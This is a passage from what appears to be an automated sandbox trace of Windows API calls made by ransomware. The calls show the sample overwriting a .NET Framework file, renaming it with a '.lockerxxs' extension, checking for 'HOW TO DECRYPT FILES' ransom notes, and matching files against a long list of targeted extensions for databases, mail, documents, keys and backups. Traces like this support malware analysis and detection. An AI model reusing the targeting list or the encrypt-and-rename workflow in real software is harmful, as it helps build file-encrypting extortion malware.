lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.595] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xdb83, lpOverlapped=0x0) returned 1 [0137.598] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql") returned="InstallSqlStateTemplate.sql" [0137.599] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.599] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xdb83, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xdb83, lpOverlapped=0x0) returned 1 [0137.599] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.600] CloseHandle (hObject=0x8c) returned 1 [0137.600] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstatetemplate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstatetemplate.sql.lockerxxs")) returned 1 [0137.601] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5946b060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0xec0001ed, dwReserved1=0x4e00c4, cFileName="InstallUtil.exe", cAlternateFileName="INSTAL~1.EXE")) returned 1 [0137.601] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.601] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallUtil.exe") returned -1 [0137.601] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallUtil.exe") returned -1 [0137.601] lstrcmpiA (lpString1="", lpString2="InstallUtil.exe") returned -1 [0137.602] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql") returned="InstallSqlStateTemplate.sql" [0137.602] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.602] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.602] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.602] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.602] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallUtil.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe" [0137.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.ems") returned 0 [0137.602] lstrlenA (lpString="*.ems") returned 5 [0137.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.db") returned 0 [0137.602] lstrlenA (lpString="*.db") returned 4 [0137.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.dbf") returned 0 [0137.602] lstrlenA (lpString="*.dbf") returned 5 [0137.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.myox") returned 0 [0137.602] lstrlenA (lpString="*.myox") returned 6 [0137.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.myo") returned 0 [0137.602] lstrlenA (lpString="*.myo") returned 5 [0137.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.qbw") returned 0 [0137.602] lstrlenA (lpString="*.qbw") returned 5 [0137.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.qbb") returned 0 [0137.602] lstrlenA (lpString="*.qbb") returned 5 [0137.602] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.qbm") returned 0 [0137.603] lstrlenA (lpString="*.qbm") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.qbo") returned 0 [0137.603] lstrlenA (lpString="*.qbo") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.qbx") returned 0 [0137.603] lstrlenA (lpString="*.qbx") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.qba") returned 0 [0137.603] lstrlenA (lpString="*.qba") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.qby") returned 0 [0137.603] lstrlenA (lpString="*.qby") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.qbj") returned 0 [0137.603] lstrlenA (lpString="*.qbj") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.ofx") returned 0 [0137.603] lstrlenA (lpString="*.ofx") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.qif") returned 0 [0137.603] lstrlenA (lpString="*.qif") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.mye") returned 0 [0137.603] lstrlenA (lpString="*.mye") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.mbox") returned 0 [0137.603] lstrlenA (lpString="*.mbox") returned 6 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.eml") returned 0 [0137.603] lstrlenA (lpString="*.eml") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.pst") returned 0 [0137.603] lstrlenA (lpString="*.pst") returned 5 [0137.603] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.ost") returned 0 [0137.604] lstrlenA (lpString="*.ost") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.idx") returned 0 [0137.604] lstrlenA (lpString="*.idx") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.dbx") returned 0 [0137.604] lstrlenA (lpString="*.dbx") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.sql") returned 0 [0137.604] lstrlenA (lpString="*.sql") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.mdb") returned 0 [0137.604] lstrlenA (lpString="*.mdb") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.fdb") returned 0 [0137.604] lstrlenA (lpString="*.fdb") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.wab") returned 0 [0137.604] lstrlenA (lpString="*.wab") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.dat") returned 0 [0137.604] lstrlenA (lpString="*.dat") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.txt") returned 0 [0137.604] lstrlenA (lpString="*.txt") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.jpeg") returned 0 [0137.604] lstrlenA (lpString="*.jpeg") returned 6 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.jpg") returned 0 [0137.604] lstrlenA (lpString="*.jpg") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.png") returned 0 [0137.604] lstrlenA (lpString="*.png") returned 5 [0137.604] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.php") returned 0 [0137.604] lstrlenA (lpString="*.php") returned 5 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.cs") returned 0 [0137.605] lstrlenA (lpString="*.cs") returned 4 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.cpp") returned 0 [0137.605] lstrlenA (lpString="*.cpp") returned 5 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.rar") returned 0 [0137.605] lstrlenA (lpString="*.rar") returned 5 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.zip") returned 0 [0137.605] lstrlenA (lpString="*.zip") returned 5 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.html") returned 0 [0137.605] lstrlenA (lpString="*.html") returned 6 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.htm") returned 0 [0137.605] lstrlenA (lpString="*.htm") returned 5 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.xlsx") returned 0 [0137.605] lstrlenA (lpString="*.xlsx") returned 6 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.xls") returned 0 [0137.605] lstrlenA (lpString="*.xls") returned 5 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.mp4") returned 0 [0137.605] lstrlenA (lpString="*.mp4") returned 5 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.ppt") returned 0 [0137.605] lstrlenA (lpString="*.ppt") returned 5 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.pptx") returned 0 [0137.605] lstrlenA (lpString="*.pptx") returned 6 [0137.605] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.doc") returned 0 [0137.605] lstrlenA (lpString="*.doc") returned 5 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.dot") returned 0 [0137.606] lstrlenA (lpString="*.dot") returned 5 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.docx") returned 0 [0137.606] lstrlenA (lpString="*.docx") returned 6 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.7z") returned 0 [0137.606] lstrlenA (lpString="*.7z") returned 4 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.tar") returned 0 [0137.606] lstrlenA (lpString="*.tar") returned 5 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.bz2") returned 0 [0137.606] lstrlenA (lpString="*.bz2") returned 5 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.gz") returned 0 [0137.606] lstrlenA (lpString="*.gz") returned 4 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.mkv") returned 0 [0137.606] lstrlenA (lpString="*.mkv") returned 5 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.eml") returned 0 [0137.606] lstrlenA (lpString="*.eml") returned 5 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.msg") returned 0 [0137.606] lstrlenA (lpString="*.msg") returned 5 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.edb") returned 0 [0137.606] lstrlenA (lpString="*.edb") returned 5 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.accdb") returned 0 [0137.606] lstrlenA (lpString="*.accdb") returned 7 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.odb") returned 0 [0137.606] lstrlenA (lpString="*.odb") returned 5 [0137.606] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.java") returned 0 [0137.607] lstrlenA (lpString="*.java") returned 6 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.asm") returned 0 [0137.607] lstrlenA (lpString="*.asm") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.pfx") returned 0 [0137.607] lstrlenA (lpString="*.pfx") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.pem") returned 0 [0137.607] lstrlenA (lpString="*.pem") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.p12") returned 0 [0137.607] lstrlenA (lpString="*.p12") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.gpg") returned 0 [0137.607] lstrlenA (lpString="*.gpg") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.vsd") returned 0 [0137.607] lstrlenA (lpString="*.vsd") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.odg") returned 0 [0137.607] lstrlenA (lpString="*.odg") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.raw") returned 0 [0137.607] lstrlenA (lpString="*.raw") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.nef") returned 0 [0137.607] lstrlenA (lpString="*.nef") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.svg") returned 0 [0137.607] lstrlenA (lpString="*.svg") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.psd") returned 0 [0137.607] lstrlenA (lpString="*.psd") returned 5 [0137.607] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.vmx") returned 0 [0137.607] lstrlenA (lpString="*.vmx") returned 5 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.vmdk") returned 0 [0137.608] lstrlenA (lpString="*.vmdk") returned 6 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.vdi") returned 0 [0137.608] lstrlenA (lpString="*.vdi") returned 5 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.lay6") returned 0 [0137.608] lstrlenA (lpString="*.lay6") returned 6 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.mpeg") returned 0 [0137.608] lstrlenA (lpString="*.mpeg") returned 6 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.djvu") returned 0 [0137.608] lstrlenA (lpString="*.djvu") returned 6 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.tiff") returned 0 [0137.608] lstrlenA (lpString="*.tiff") returned 6 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.backup") returned 0 [0137.608] lstrlenA (lpString="*.backup") returned 8 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.pdf") returned 0 [0137.608] lstrlenA (lpString="*.pdf") returned 5 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.cert") returned 0 [0137.608] lstrlenA (lpString="*.cert") returned 6 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.docm") returned 0 [0137.608] lstrlenA (lpString="*.docm") returned 6 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.xlsm") returned 0 [0137.608] lstrlenA (lpString="*.xlsm") returned 6 [0137.608] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.dwg") returned 0 [0137.609] lstrlenA (lpString="*.dwg") returned 5 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.nd") returned 0 [0137.609] lstrlenA (lpString="*.nd") returned 4 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.tlg") returned 0 [0137.609] lstrlenA (lpString="*.tlg") returned 5 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.lgb") returned 0 [0137.609] lstrlenA (lpString="*.lgb") returned 5 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.mov") returned 0 [0137.609] lstrlenA (lpString="*.mov") returned 5 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.xdw") returned 0 [0137.609] lstrlenA (lpString="*.xdw") returned 5 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.ods") returned 0 [0137.609] lstrlenA (lpString="*.ods") returned 5 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.wav") returned 0 [0137.609] lstrlenA (lpString="*.wav") returned 5 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.mp3") returned 0 [0137.609] lstrlenA (lpString="*.mp3") returned 5 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.aiff") returned 0 [0137.609] lstrlenA (lpString="*.aiff") returned 6 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.flac") returned 0 [0137.609] lstrlenA (lpString="*.flac") returned 6 [0137.609] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.m4a") returned 0 [0137.609] lstrlenA (lpString="*.m4a") returned 5 [0137.610] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe", pszSpec="*.csv") returned 0 [0137.610] lstrlenA (lpString="*.csv") returned 5 [0137.610] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x769a9000, ftCreationTime.dwHighDateTime=0x1cd5cfb, ftLastAccessTime.dwLowDateTime=0xcf6e3ca0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x769a9000, ftLastWriteTime.dwHighDateTime=0x1cd5cfb, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallUtil.exe.config", cAlternateFileName="INSTAL~1.CON")) returned 1 [0137.610] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.610] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallUtil.exe.config") returned -1 [0137.610] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallUtil.exe.config") returned -1 [0137.610] lstrcmpiA (lpString1="", lpString2="InstallUtil.exe.config") returned -1 [0137.610] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe") returned="InstallUtil.exe" [0137.611] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.611] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.611] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.611] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.611] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallUtil.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config" [0137.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.ems") returned 0 [0137.611] lstrlenA (lpString="*.ems") returned 5 [0137.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.db") returned 0 [0137.611] lstrlenA (lpString="*.db") returned 4 [0137.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.dbf") returned 0 [0137.611] lstrlenA (lpString="*.dbf") returned 5 [0137.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.myox") returned 0 [0137.611] lstrlenA (lpString="*.myox") returned 6 [0137.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.myo") returned 0 [0137.611] lstrlenA (lpString="*.myo") returned 5 [0137.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.qbw") returned 0 [0137.611] lstrlenA (lpString="*.qbw") returned 5 [0137.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.qbb") returned 0 [0137.611] lstrlenA (lpString="*.qbb") returned 5 [0137.611] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.qbm") returned 0 [0137.611] lstrlenA (lpString="*.qbm") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.qbo") returned 0 [0137.612] lstrlenA (lpString="*.qbo") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.qbx") returned 0 [0137.612] lstrlenA (lpString="*.qbx") returned 5 [0137.612] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config", pszSpec="*.qba") returned 0 [0137.612] 